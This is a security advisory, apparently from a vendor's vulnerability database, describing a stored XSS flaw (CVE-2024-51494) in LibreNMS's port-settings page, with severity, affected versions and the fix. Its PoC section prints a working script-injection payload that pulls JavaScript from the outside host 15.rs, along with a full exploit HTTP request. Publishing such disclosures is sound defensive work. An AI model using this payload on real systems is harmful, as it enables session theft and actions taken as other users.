CVE-2024-51494

A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions.

Details

When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter:
lo'"><script/src=//15.rs>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The payload triggers when the "Port Settings" page is visited, exploiting the $port->ifAlias variable in the application. The sink is located here:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82

PoC

1. Edit a device's port settings using the following payload in the "descr" parameter:

lo'"><script/src=//15.rs>
2. Save the changes.
3. Navigate to the "Port Settings" page of the device.
4. Observe that the injected script executes.

Example Request:

POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

type=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&port_id=1&device_id=1

This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2024-51494 has a CVSS score of 7.5 (High). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (24.10.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-51494? CVE-2024-51494 is a high-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions <= 24.9.1. It is fixed in 24.10.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2024-51494? CVE-2024-51494 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of librenms/librenms are affected by CVE-2024-51494? librenms/librenms (composer) versions <= 24.9.1 is affected.
4. Is there a fix for CVE-2024-51494? Yes. CVE-2024-51494 is fixed in 24.10.0. Upgrade to this version or later.
5. Is CVE-2024-51494 exploitable, and should I be worried? Whether CVE-2024-51494 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-51494 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-51494? Upgrade librenms/librenms to 24.10.0 or later.